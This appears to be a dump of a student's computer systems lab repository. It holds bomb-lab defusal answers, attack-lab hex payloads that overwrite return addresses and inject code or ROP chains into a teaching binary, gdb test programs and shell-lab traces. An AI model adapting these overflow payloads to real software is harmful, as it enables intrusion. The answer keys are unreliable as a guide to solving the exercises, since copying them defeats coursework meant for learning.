1 2 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/3/answer.txt: -------------------------------------------------------------------------------- 1 | I am just a renegade hockey mom. 2 | 0 1 3 6 10 15 3 | 2 r 987 4 | 6 6 5 | yoqpuw 6 | 3 5 1 6 2 4 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/36/answer.txt: -------------------------------------------------------------------------------- 1 | Brownie, you are doing a heck of a job. 2 | 0 1 1 2 3 5 3 | 3 v 958 4 | 99 3 5 | 5 115 6 | 5 6 1 3 4 2 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/50/answer.txt: -------------------------------------------------------------------------------- 1 | I can see Russia from my house! 2 | 1 2 4 8 16 32 3 | 2 0 4 | 216 4 5 | pqrtuu 6 | 6 4 5 3 2 1 7 | 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/16/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 5e 55 55 55 55 00 00 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/16/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 bf 00 5f 55 55 55 55 00 00 57 48 c7 c7 a2 14 b3 5c c3 00 00 00 00 00 98 f4 61 55 00 00 00 00 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/40/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 5e 55 55 55 55 00 00 2 | -------------------------------------------------------------------------------- /lab5/malloc-handout/10215501418mm.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab5/malloc-handout/10215501418mm.c -------------------------------------------------------------------------------- /lab3/bomb-handout/20/answer.txt: -------------------------------------------------------------------------------- 1 | And they have no disregard for human life. 2 | 1 2 4 8 16 32 3 | 5 -102 4 | 4 19 5 | BELDOG 6 | 2 1 4 3 6 5 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/23/answer.txt: -------------------------------------------------------------------------------- 1 | And they have no disregard for human life. 2 | 0 1 1 2 3 5 3 | 4 e 147 4 | 10 37 5 | abdehi 6 | 5 4 1 6 3 2 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/32/answer.txt: -------------------------------------------------------------------------------- 1 | And they have no disregard for human life. 2 | 1 2 4 8 16 32 3 | 1 72 4 | 4 19 5 | 5 115 6 | 2 1 3 5 6 4 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/33/answer.txt: -------------------------------------------------------------------------------- 1 | Brownie, you are doing a heck of a job. 2 | 0 1 1 2 3 5 3 | 0 y 668 4 | 48 4 5 | eppaaa 6 | 4 3 1 6 2 5 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/37/answer.txt: -------------------------------------------------------------------------------- 1 | You can Russia from land here in Alaska. 2 | 1 2 4 7 11 16 3 | 1 d 522 4 | 108 2 5 | rultow 6 | 3 4 5 6 1 2 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/4/answer.txt: -------------------------------------------------------------------------------- 1 | I am the mayor. I can do anything I want. 2 | 0 1 1 2 3 5 3 | 4 r 336 4 | 24 2 5 | 5 115 6 | 3 4 1 2 6 5 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/51/answer.txt: -------------------------------------------------------------------------------- 1 | The future will be better tomorrow. 2 | 0 1 1 2 3 5 3 | 1 -896 4 | 162 3 5 | ***++9 6 | 6 2 4 5 3 1 7 | 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/69/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 65 5e 55 55 55 55 55 00 -------------------------------------------------------------------------------- /lab6/shlab-handout/trace04.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace04.txt - Run a background job. 3 | # 4 | /bin/echo -e tsh> ./myspin 1 \046 5 | ./myspin 1 & 6 | -------------------------------------------------------------------------------- /lab3/bomb-handout/10/answer.txt: -------------------------------------------------------------------------------- 1 | I am for medical liability at the federal level. 2 | 0 1 3 6 10 15 3 | 0 242 4 | 13 3 5 | 9fe568 6 | 3 2 5 4 1 6 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/16/answer.txt: -------------------------------------------------------------------------------- 1 | I was trying to give Tina Fey more material. 2 | 1 2 4 8 16 32 3 | 3 v 457 4 | 2 13 5 | beldog 6 | 2 4 6 3 5 1 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/19/answer.txt: -------------------------------------------------------------------------------- 1 | When a problem comes along, you must zip it! 2 | 1 2 4 7 11 16 3 | 2 q 122 4 | 9 27 5 | 24678= 6 | 3 1 5 2 4 6 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/22/answer.txt: -------------------------------------------------------------------------------- 1 | I was trying to give Tina Fey more material. 2 | 1 2 4 7 11 16 3 | 2 660 4 | 14 45 5 | 25<4?7 6 | 5 1 3 6 4 2 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/27/answer.txt: -------------------------------------------------------------------------------- 1 | I am not part of the problem. I am a Republican. 2 | 0 1 1 2 3 5 3 | 1 225 4 | 176 2 5 | 484848 6 | 3 2 5 1 4 6 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/31/answer.txt: -------------------------------------------------------------------------------- 1 | Verbosity leads to unclear, inarticulate things. 2 | 0 1 1 2 3 5 3 | 1 e 519 4 | 2 13 5 | 991237 6 | 2 3 4 6 5 1 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/39/answer.txt: -------------------------------------------------------------------------------- 1 | The moon unit will be divided into two divisions. 2 | 1 2 4 7 11 16 3 | 7 991 4 | 3 10 5 | 5 115 6 | 4 1 3 6 2 5 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/45/answer.txt: -------------------------------------------------------------------------------- 1 | Verbosity leads to unclear, inarticulate things. 2 | 1 2 4 7 11 16 3 | 0 330 4 | 8 35 5 | :Toefg 6 | 3 1 6 5 4 2 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/47/answer.txt: -------------------------------------------------------------------------------- 1 | Verbosity leads to unclear, inarticulate things. 2 | 2 3 5 8 12 17 3 | 1 503 4 | 7 0 5 | )/1057 6 | 6 5 1 4 2 3 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/55/answer.txt: -------------------------------------------------------------------------------- 1 | I am not part of the problem. I am a Republican. 2 | 0 1 1 2 3 5 3 | 1 -478 4 | 11 1 5 | 5 115 6 | 3 2 5 4 1 6 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/57/answer.txt: -------------------------------------------------------------------------------- 1 | We have to stand with our North Korean allies. 2 | 0 1 1 2 3 5 3 | 0 264 4 | 10 5 5 | ioqpew 6 | 4 2 1 3 6 5 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/7/answer.txt: -------------------------------------------------------------------------------- 1 | When I get angry, Mr. Bigglesworth gets upset. 2 | 1 2 4 7 11 16 3 | 1 -1083 4 | 11 18 5 | 30784> 6 | 3 6 2 4 1 5 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/20/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 ee ee a3 76 48 2 | be 32 5f 55 55 55 55 00 3 | 00 56 c3 00 00 00 00 00 4 | 18 2f 63 55 00 00 00 00 5 | -------------------------------------------------------------------------------- /lab4/attack-handout/37/answer1.txt: -------------------------------------------------------------------------------- 1 | 11 11 11 11 11 11 11 11 2 | 11 11 11 11 11 11 11 11 3 | 11 11 11 11 11 11 11 11 4 | e5 5d 55 55 55 55 00 00 5 | -------------------------------------------------------------------------------- /lab4/attack-handout/37/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 3c 2a 06 3b 48 2 | b8 19 5e 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 18 21 64 55 00 00 00 00 5 | -------------------------------------------------------------------------------- /lab4/attack-handout/39/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 2 | 00 00 00 00 3 | 00 00 00 00 4 | 00 00 00 00 5 | 00 00 00 00 6 | 00 00 00 00 7 | e2 5d 55 55 55 55 -------------------------------------------------------------------------------- /lab4/attack-handout/41/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 86 53 9a 14 48 2 | b8 dd 5e 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | d8 b6 60 55 00 00 00 00 5 | -------------------------------------------------------------------------------- /lab4/attack-handout/67/answer2.txt: -------------------------------------------------------------------------------- 1 | bf 05 47 e7 73 48 b8 f6 2 | 5e 55 55 55 55 00 00 50 3 | c3 00 00 00 00 00 00 00 4 | 08 8e 67 55 00 00 00 00 5 | -------------------------------------------------------------------------------- /lab3/bomb-handout/13/answer.txt: -------------------------------------------------------------------------------- 1 | I am for medical liability at the federal level. 2 | 1 2 4 8 16 32 3 | 2 n 268 4 | 132 4 5 | 5 115 6 | 5 3 4 2 1 6 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/28/answer.txt: -------------------------------------------------------------------------------- 1 | I am the mayor. I can do anything I want. 2 | 0 1 3 6 10 15 3 | 2 4294966910 4 | 13 31 5 | hdeeee 6 | 2 6 1 3 5 4 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/29/answer.txt: -------------------------------------------------------------------------------- 1 | When a problem comes along, you must zip it! 2 | 0 1 1 2 3 5 3 | 2 4294966641 4 | 2 13 5 | yonuvw 6 | 4 3 1 5 2 6 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/40/answer.txt: -------------------------------------------------------------------------------- 1 | Border relations with Canada have never been better. 2 | 1 2 4 8 16 32 3 | 1 995 4 | 12 43 5 | ccaade 6 | 1 4 5 6 3 2 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/53/answer.txt: -------------------------------------------------------------------------------- 1 | Border relations with Canada have never been better. 2 | 0 1 1 2 3 5 3 | 2 402 4 | 2 13 5 | 5 115 6 | 1 6 2 5 3 4 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/56/answer.txt: -------------------------------------------------------------------------------- 1 | Verbosity leads to unclear, inarticulate things. 2 | 0 1 3 6 10 15 3 | 0 w 650 4 | 12 43 5 | 71-657 6 | 2 3 6 1 5 4 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/70/answer.txt: -------------------------------------------------------------------------------- 1 | Verbosity leads to unclear, inarticulate things. 2 | 0 1 3 6 10 15 3 | 3 -850 4 | 1 11 5 | 5 115 6 | 4 1 5 6 2 3 7 | 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/20/answer1.txt: -------------------------------------------------------------------------------- 1 | 30 30 30 30 30 30 30 30 2 | 30 30 30 30 30 30 30 30 3 | 30 30 30 30 30 30 30 30 4 | fe 5e 55 55 55 55 00 00 5 | -------------------------------------------------------------------------------- /lab4/attack-handout/41/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | a9 5e 55 55 55 55 00 00 5 | -------------------------------------------------------------------------------- /lab4/attack-handout/42/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 66 5e 55 55 55 55 00 00 5 | -------------------------------------------------------------------------------- /lab4/attack-handout/42/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 31 63 ec 7a 48 2 | bb 9a 5e 55 55 55 55 00 3 | 00 53 c3 33 33 33 33 33 4 | 58 59 64 55 00 00 00 00 5 | -------------------------------------------------------------------------------- /lab3/bomb-handout/15/answer.txt: -------------------------------------------------------------------------------- 1 | Border relations with Canada have never been better. 2 | 0 1 1 2 3 5 6 3 | 1 k 373 4 | 12 43 5 | JDOEFG 6 | 5 4 3 2 1 6 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/67/answer.txt: -------------------------------------------------------------------------------- 1 | He is evil and fits easily into most overhead storage bins. 2 | 1 2 4 8 16 32 3 | 0 87 4 | 10 5 5 | 5 115 6 | 3 5 1 2 4 6 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/70/answer1.txt: -------------------------------------------------------------------------------- 1 | 01 01 01 01 2 | 01 01 01 01 3 | 01 01 01 01 4 | 01 01 01 01 5 | 01 01 01 01 6 | 01 01 01 01 7 | d8 5e 55 55 8 | 55 55 00 00 -------------------------------------------------------------------------------- /gdb_test/test3.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(){ 4 | int *ptr = NULL; 5 | *ptr = 23; 6 | getchar(); 7 | return 0; 8 | } 9 | -------------------------------------------------------------------------------- /lab3/bomb-handout/25/answer.txt: -------------------------------------------------------------------------------- 1 | I am for medical liability at the federal level. 2 | 1 2 4 7 11 16 3 | 0 f 289 4 | 176 2 5 | 5 115 6 | 1 5 4 2 6 3 7 | 8 | 9 | -------------------------------------------------------------------------------- /lab3/bomb-handout/54/answer.txt: -------------------------------------------------------------------------------- 1 | He is evil and fits easily into most overhead storage bins. 2 | 1 2 4 8 16 32 3 | 0 h 520 4 | 13 3 5 | 5 115 6 | 5 1 6 3 2 4 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/6/answer.txt: -------------------------------------------------------------------------------- 1 | I turned the moon into something I call a Death Star. 2 | 1 2 4 7 11 16 3 | 3 k 777 4 | 6 21 5 | wwtwww 6 | 3 1 2 4 6 5 7 | 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/16/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 bf 25 60 55 55 55 55 00 00 57 48 c7 c7 b8 f4 61 55 c3 00 00 00 00 00 98 f4 61 55 00 00 00 00 35 63 62 33 31 34 61 32 00 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/40/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 e8 32 66 55 48 ba f5 5f 55 55 55 55 00 00 52 c3 00 00 00 00 00 c8 32 66 55 00 00 00 00 32 65 32 34 62 37 62 39 00 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/68/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 2 | 00 00 00 00 3 | 00 00 00 00 4 | 00 00 00 00 5 | 00 00 00 00 6 | 00 00 00 00 7 | 20 5f 55 55 8 | 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/68/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 83 29 8b 59 2 | 48 ba 54 5f 55 55 55 3 | 55 00 00 4 | 52 c3 5 | 00 6 | 00 00 00 00 7 | 58 8e 61 55 8 | 00 00 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/70/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 60 2 | e7 ee 26 48 3 | ba 0c 5f 55 4 | 55 55 55 00 5 | 00 52 c3 00 6 | 00 00 00 00 7 | 18 a1 66 55 8 | 00 00 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/67/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | c2 5e 55 55 55 55 00 00 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /gdb_test/test1.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(){ 4 | for (int i = 0; i < 10; ++i) 5 | printf("i = %d\n", i); 6 | return 0; 7 | } 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/68/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 78 8e 61 55 48 2 | ba 79 60 55 55 55 55 00 3 | 00 52 c3 00 00 00 00 00 4 | 58 8e 61 55 00 00 00 00 5 | 35 39 38 62 32 39 38 33 00 -------------------------------------------------------------------------------- /lab4/attack-handout/70/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 38 a1 66 55 48 2 | ba 31 60 55 55 55 55 00 3 | 00 52 c3 00 00 00 00 00 4 | 18 a1 66 55 00 00 00 00 5 | 32 36 65 65 65 37 36 30 00 -------------------------------------------------------------------------------- /lab5/malloc-handout/malloclab-handout/fsecs.h: -------------------------------------------------------------------------------- 1 | typedef void (*fsecs_test_funct)(void *); 2 | 3 | void init_fsecs(void); 4 | double fsecs(fsecs_test_funct f, void *argp); 5 | -------------------------------------------------------------------------------- /lab6/shlab-handout/trace06.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace06.txt - Forward SIGINT to foreground job. 3 | # 4 | /bin/echo -e tsh> ./myspin 4 5 | ./myspin 4 6 | 7 | SLEEP 2 8 | INT 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/20/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 38 2f 63 55 48 2 | be 57 60 55 55 55 55 00 3 | 00 56 c3 00 00 00 00 00 4 | 18 2f 63 55 00 00 00 00 5 | 37 36 61 33 65 65 65 65 6 | -------------------------------------------------------------------------------- /lab4/attack-handout/37/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 38 21 64 55 48 2 | b8 3e 5f 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 18 21 64 55 00 00 00 00 5 | 33 62 30 36 32 61 33 63 6 | -------------------------------------------------------------------------------- /lab4/attack-handout/41/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 f8 b6 60 55 48 2 | b8 02 60 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | d8 b6 60 55 00 00 00 00 5 | 31 34 39 61 35 33 38 36 6 | -------------------------------------------------------------------------------- /lab4/attack-handout/67/answer3.txt: -------------------------------------------------------------------------------- 1 | bf 28 8e 67 55 48 b8 1b 2 | 60 55 55 55 55 00 00 50 3 | c3 00 00 00 00 00 00 00 4 | 08 8e 67 55 00 00 00 00 5 | 37 33 65 37 34 37 30 35 6 | 00 -------------------------------------------------------------------------------- /lab3/bomb-handout/65/answer.txt: -------------------------------------------------------------------------------- 1 | We have to stand with our North Korean allies. 2 | 3 | 0 4 4 8 12 20 4 | 5 | 1 147 6 | 7 | 8 2 8 | 9 | 115 10 | 11 | 6 4 5 3 2 1 12 | -------------------------------------------------------------------------------- /gdb_test/test5.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(){ 4 | int sum = 0; 5 | while(1){ 6 | sum++; 7 | } 8 | return 0; 9 | } 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/42/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 78 59 64 55 48 2 | bb bf 5f 55 55 55 55 00 3 | 00 53 c3 00 00 00 00 00 4 | 58 59 64 55 00 00 00 00 5 | 37 61 65 63 36 33 33 31 6 | 00 7 | -------------------------------------------------------------------------------- /lab3/bomb-handout/69/answer.txt: -------------------------------------------------------------------------------- 1 | 1.We have to stand with our North Korean allies. 2 | 2.1 2 4 7 11 16 3 | 3.3 x 768 4 | 4.4 19 5 | 5.5 115 6 | 6.6 4 3 1 5 2 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/11/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 00 00 5 | cc 5e 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/7/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 63 8f a8 30 48 b8 46 5f 55 55 55 55 00 00 50 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 5d 64 55 00 00 00 00 2 | 3 | 4 | -------------------------------------------------------------------------------- /lab4/attack-handout/13/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 11 22 33 44 55 66 77 88 99 2 | 00 11 22 33 44 55 66 77 88 99 3 | 00 11 22 33 44 55 66 77 88 99 4 | 00 11 22 33 44 55 66 77 88 99 5 | d2 5e 55 55 55 55 00 00 6 | -------------------------------------------------------------------------------- /lab4/attack-handout/31/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 00 00 5 | 4e 5f 55 55 55 55 00 00 6 | -------------------------------------------------------------------------------- /lab4/attack-handout/55/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 fd 63 01 14 48 2 | b8 ba 5e 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 88 89 61 55 00 00 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/6/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 9e 5e 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/6/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 2a f4 1f 4a 48 2 | ba d2 5e 55 55 55 55 00 3 | 00 52 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 58 44 61 55 00 00 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/13/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 19 77 0d 57 48 bd 06 2 | 5f 55 55 55 55 00 00 55 c3 00 3 | 00 00 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 00 00 5 | 88 72 63 55 00 00 00 00 6 | -------------------------------------------------------------------------------- /lab4/attack-handout/15/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | de 5d 55 55 55 55 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/19/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 82 61 55 55 55 55 00 00 ba 34 b2 73 00 00 00 00 64 61 55 55 55 55 00 00 68 5f 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/3/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 11 22 33 44 55 66 77 2 | 00 11 22 33 44 55 66 77 3 | 00 11 22 33 44 55 66 77 4 | 00 11 22 33 44 55 66 77 5 | 00 11 22 33 44 55 66 77 6 | c0 5e 55 55 55 55 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/3/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 cc 72 a9 56 48 2 | b8 f4 5e 55 55 55 55 00 3 | 00 50 c3 33 44 55 66 77 4 | 00 11 22 33 44 55 66 77 5 | 00 11 22 33 44 55 66 77 6 | 88 e8 60 55 00 00 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/31/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 bb 6b df 41 48 2 | b8 82 5f 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 88 62 61 55 00 00 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/32/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | fe 5d 55 55 55 55 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/32/answer2.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | fe 5d 55 55 55 55 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/36/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 80 5e 55 55 55 55 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/36/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 8a 3e 4c 42 48 2 | b8 b4 5e 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 78 33 63 55 00 00 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/51/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 06 5e 55 55 55 55 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/51/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 ce b6 22 7a 48 2 | b8 3a 5e 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 28 36 64 55 00 00 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/55/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 86 5e 55 55 55 55 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/56/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 4b 5f 55 55 55 55 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/57/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 99 5e 55 55 55 55 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/57/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 5b 0f cb 60 48 2 | b8 cd 5e 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | e8 fc 60 55 00 00 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/14/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | d4 5d 55 55 55 55 00 00 7 | 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/14/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b0 5b c1 7d 48 2 | b8 08 5e 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 48 a1 66 55 00 00 00 00 7 | 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/15/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 3d 60 95 64 48 2 | be 12 5e 55 55 55 55 00 3 | 00 56 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 08 19 62 55 00 00 00 00 7 | -------------------------------------------------------------------------------- /lab4/attack-handout/16/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 60 55 55 55 55 00 00 a2 14 b3 5c 00 00 00 00 17 61 55 55 55 55 00 00 00 5f 55 55 55 55 00 00 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/33/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 00 00 5 | 44 5e 55 55 55 55 00 00 00 00 6 | -------------------------------------------------------------------------------- /lab4/attack-handout/33/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 7f 34 9e 4d 48 be 78 2 | 5e 55 55 55 55 00 00 56 c3 00 3 | 00 00 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 00 00 5 | 88 1e 67 55 00 00 00 00 00 00 6 | -------------------------------------------------------------------------------- /lab4/attack-handout/40/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d3 60 55 55 55 55 00 00 b9 b7 24 2e 00 00 00 00 ea 60 55 55 55 55 00 00 d0 5e 55 55 55 55 00 00 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/53/answer1.txt: 